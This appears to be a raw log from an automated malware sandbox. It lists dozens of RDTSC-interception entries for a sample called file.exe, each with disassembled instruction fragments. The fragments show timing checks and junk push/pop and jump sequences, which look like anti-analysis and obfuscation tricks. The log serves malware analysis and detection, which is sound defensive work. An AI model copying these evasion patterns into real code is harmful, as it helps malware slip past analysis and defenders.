Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81601B second address: 81601F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81601F second address: 816025 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816025 second address: 816033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FE8B9931186h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 816033 second address: 816046 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE8B8D1B40Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8148B9 second address: 814907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FE8B99311A1h 0x0000000b push edi 0x0000000c jmp 00007FE8B993118Ch 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE8B9931198h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814907 second address: 814917 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814917 second address: 81491C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814BE9 second address: 814BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jc 00007FE8B8D1B406h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814BF7 second address: 814C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B9931194h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE8B993118Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814C1C second address: 814C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814D6C second address: 814D76 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE8B9931186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814D76 second address: 814D8C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FE8B8D1B40Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FE8B8D1B406h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814D8C second address: 814D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F3F second address: 814F58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B415h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F58 second address: 814F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE8B9931192h 0x0000000d ja 00007FE8B9931186h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F78 second address: 814F98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FE8B8D1B406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FE8B8D1B40Ah 0x00000012 popad 0x00000013 js 00007FE8B8D1B424h 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814F98 second address: 814FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE8B9931186h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jg 00007FE8B9931186h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBB71 second address: 7CBB85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE8B8D1B40Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBB85 second address: 7CBB8A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBB8A second address: 7CBC22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 sub dword ptr [ebp+122D2DD3h], edi 0x0000000e mov ebx, dword ptr [ebp+1248FA87h] 0x00000014 mov dword ptr [ebp+12481158h], edi 0x0000001a sbb dx, C34Bh 0x0000001f add eax, ebx 0x00000021 call 00007FE8B8D1B414h 0x00000026 pushad 0x00000027 mov ecx, dword ptr [ebp+122D2B6Bh] 0x0000002d mov esi, dword ptr [ebp+122D295Bh] 0x00000033 popad 0x00000034 pop ecx 0x00000035 push eax 0x00000036 jnc 00007FE8B8D1B41Ah 0x0000003c mov dword ptr [esp], eax 0x0000003f push 00000000h 0x00000041 push ecx 0x00000042 call 00007FE8B8D1B408h 0x00000047 pop ecx 0x00000048 mov dword ptr [esp+04h], ecx 0x0000004c add dword ptr [esp+04h], 00000019h 0x00000054 inc ecx 0x00000055 push ecx 0x00000056 ret 0x00000057 pop ecx 0x00000058 ret 0x00000059 mov edx, dword ptr [ebp+122D2E56h] 0x0000005f push 00000004h 0x00000061 sub dword ptr [ebp+122D2543h], esi 0x00000067 nop 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC22 second address: 7CBC26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC26 second address: 7CBC30 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE8B8D1B406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC30 second address: 7CBC3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FE8B9931186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC3A second address: 7CBC58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE8B8D1B413h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBC58 second address: 7CBC5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815106 second address: 81510C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815CC3 second address: 815CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FE8B9931186h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815CCD second address: 815CE0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jnp 00007FE8B8D1B406h 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815CE0 second address: 815CE5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819E27 second address: 819E3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B411h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8195A0 second address: 8195A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8196D5 second address: 8196D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81CFFD second address: 81D003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D003 second address: 81D007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D007 second address: 81D029 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B993118Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE8B9931190h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81D029 second address: 81D034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FE8B8D1B406h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C6CD second address: 81C6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FE8B993119Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C6F5 second address: 81C6FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C6FB second address: 81C722 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE8B9931186h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edi 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 jo 00007FE8B9931186h 0x00000017 push edi 0x00000018 pop edi 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jng 00007FE8B9931186h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81C88C second address: 81C893 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81CD16 second address: 81CD4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f jmp 00007FE8B9931194h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825D92 second address: 825D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825D96 second address: 825DA6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FE8B9931192h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825DA6 second address: 825DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824044 second address: 824048 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824048 second address: 824052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824052 second address: 824056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82457A second address: 824584 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8B8D1B406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 824584 second address: 8245D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007FE8B993118Eh 0x0000000d pushad 0x0000000e jmp 00007FE8B9931198h 0x00000013 jmp 00007FE8B9931191h 0x00000018 jmp 00007FE8B993118Ch 0x0000001d popad 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82527B second address: 82527F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82558D second address: 825594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828E47 second address: 828E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8B8D1B411h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828E5F second address: 828E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828FCC second address: 828FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 828FD0 second address: 828FD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82918C second address: 829190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829190 second address: 829194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829321 second address: 829327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829327 second address: 829349 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE8B9931199h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829349 second address: 82934F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829776 second address: 82977A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829A5D second address: 829A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829A63 second address: 829A68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829A68 second address: 829A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 829A6E second address: 829A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E603 second address: 82E65B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B414h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c je 00007FE8B8D1B406h 0x00000012 jmp 00007FE8B8D1B419h 0x00000017 jnl 00007FE8B8D1B406h 0x0000001d jc 00007FE8B8D1B406h 0x00000023 popad 0x00000024 pop ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 jnl 00007FE8B8D1B40Eh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 836471 second address: 83649E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FE8B993118Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE8B993118Bh 0x00000014 jnp 00007FE8B993118Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83649E second address: 8364A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8364A5 second address: 8364C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 js 00007FE8B9931186h 0x0000000c jmp 00007FE8B993118Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8344F9 second address: 834522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FE8B8D1B418h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FE8B8D1B406h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83466E second address: 83468B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE8B9931195h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83468B second address: 83468F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83468F second address: 834695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834975 second address: 834986 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE8B8D1B40Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 834C74 second address: 834C79 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8350BD second address: 8350CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 je 00007FE8B8D1B406h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8350CA second address: 8350D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FE8B9931186h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835390 second address: 835397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835397 second address: 8353B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE8B9931193h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353B0 second address: 8353E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007FE8B8D1B414h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353E3 second address: 8353E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8353E7 second address: 83541F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE8B8D1B411h 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FE8B8D1B406h 0x00000015 jmp 00007FE8B8D1B417h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 835B82 second address: 835B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8362D3 second address: 8362E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B8D1B40Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8362E3 second address: 8362E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F218 second address: 83F22A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007FE8B8D1B406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F22A second address: 83F247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE8B9931186h 0x0000000a jmp 00007FE8B9931192h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83F247 second address: 83F257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE8B8D1B406h 0x0000000a ja 00007FE8B8D1B406h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBA9 second address: 83EBAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBAD second address: 83EBB3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBB3 second address: 83EBD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B9931199h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBD2 second address: 83EBD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBD6 second address: 83EBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EBE4 second address: 83EBEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EF01 second address: 83EF35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FE8B9931199h 0x0000000d jmp 00007FE8B993118Ch 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EF35 second address: 83EF39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EF39 second address: 83EF4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d ja 00007FE8B9931186h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EF4C second address: 83EF50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83EF50 second address: 83EF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
